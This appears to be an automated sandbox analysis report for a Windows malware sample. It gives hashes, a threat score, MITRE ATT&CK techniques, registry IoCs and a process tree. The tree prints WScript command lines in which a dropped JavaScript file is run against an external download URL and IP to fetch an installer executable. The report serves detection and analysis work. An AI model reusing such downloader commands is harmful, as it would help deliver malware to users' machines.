cfa9fc8db9ff8e27a9b1fca5b637df7a05b4ac357fe5d377b254a9b5d940ba84

General

Target

c243278876573cbbcc050a9fb911164d_JaffaCakes118.exe
Size

184KB
MD5

c243278876573cbbcc050a9fb911164d
SHA1

993c2c616a666fa155c87cf24f80ad95b9bd84b1
SHA256

cfa9fc8db9ff8e27a9b1fca5b637df7a05b4ac357fe5d377b254a9b5d940ba84
SHA512

d61ab51ac9aee2938bf5cebd2f09864effb95f61f60b88164e34737ae0f77eb68eea2fd3350753d8a71f16143a4c0ca12c9a0d23d7e2ea84c2ed3a167b8a06ed
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3u:/7BSH8zUB+nGESaaRvoB7FJNndnP

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
7	1472	WScript.exe
34	3088	WScript.exe
38	1888	WScript.exe
54	2164	WScript.exe
55	2164	WScript.exe
57	3656	WScript.exe
58	3656	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	c243278876573cbbcc050a9fb911164d_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2740	4956	WerFault.exe	84

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c243278876573cbbcc050a9fb911164d_JaffaCakes118.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000_Classes\Local Settings	c243278876573cbbcc050a9fb911164d_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4956 wrote to memory of 1472	4956	c243278876573cbbcc050a9fb911164d_JaffaCakes118.exe	86
PID 4956 wrote to memory of 1472	4956	c243278876573cbbcc050a9fb911164d_JaffaCakes118.exe	86
PID 4956 wrote to memory of 1472	4956	c243278876573cbbcc050a9fb911164d_JaffaCakes118.exe	86
PID 4956 wrote to memory of 3088	4956	c243278876573cbbcc050a9fb911164d_JaffaCakes118.exe	95
PID 4956 wrote to memory of 3088	4956	c243278876573cbbcc050a9fb911164d_JaffaCakes118.exe	95
PID 4956 wrote to memory of 3088	4956	c243278876573cbbcc050a9fb911164d_JaffaCakes118.exe	95
PID 4956 wrote to memory of 1888	4956	c243278876573cbbcc050a9fb911164d_JaffaCakes118.exe	96
PID 4956 wrote to memory of 1888	4956	c243278876573cbbcc050a9fb911164d_JaffaCakes118.exe	96
PID 4956 wrote to memory of 1888	4956	c243278876573cbbcc050a9fb911164d_JaffaCakes118.exe	96
PID 4956 wrote to memory of 2164	4956	c243278876573cbbcc050a9fb911164d_JaffaCakes118.exe	100
PID 4956 wrote to memory of 2164	4956	c243278876573cbbcc050a9fb911164d_JaffaCakes118.exe	100
PID 4956 wrote to memory of 2164	4956	c243278876573cbbcc050a9fb911164d_JaffaCakes118.exe	100
PID 4956 wrote to memory of 3656	4956	c243278876573cbbcc050a9fb911164d_JaffaCakes118.exe	101
PID 4956 wrote to memory of 3656	4956	c243278876573cbbcc050a9fb911164d_JaffaCakes118.exe	101
PID 4956 wrote to memory of 3656	4956	c243278876573cbbcc050a9fb911164d_JaffaCakes118.exe	101

C:\Users\Admin\AppData\Local\Temp\c243278876573cbbcc050a9fb911164d_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\c243278876573cbbcc050a9fb911164d_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4956
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8656.js" http://www.djapp.info/?domain=PJFOkDiBiG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf8656.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:1472
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8656.js" http://www.djapp.info/?domain=PJFOkDiBiG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf8656.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3088
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8656.js" http://www.djapp.info/?domain=PJFOkDiBiG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf8656.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:1888
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8656.js" http://www.djapp.info/?domain=PJFOkDiBiG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf8656.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:2164
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8656.js" http://www.djapp.info/?domain=PJFOkDiBiG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf8656.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3656
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4956 -s 1492
  2⤵
  - Program crash
  PID:2740

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 208 -p 4956 -ip 4956
1⤵
PID:2436

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf8656.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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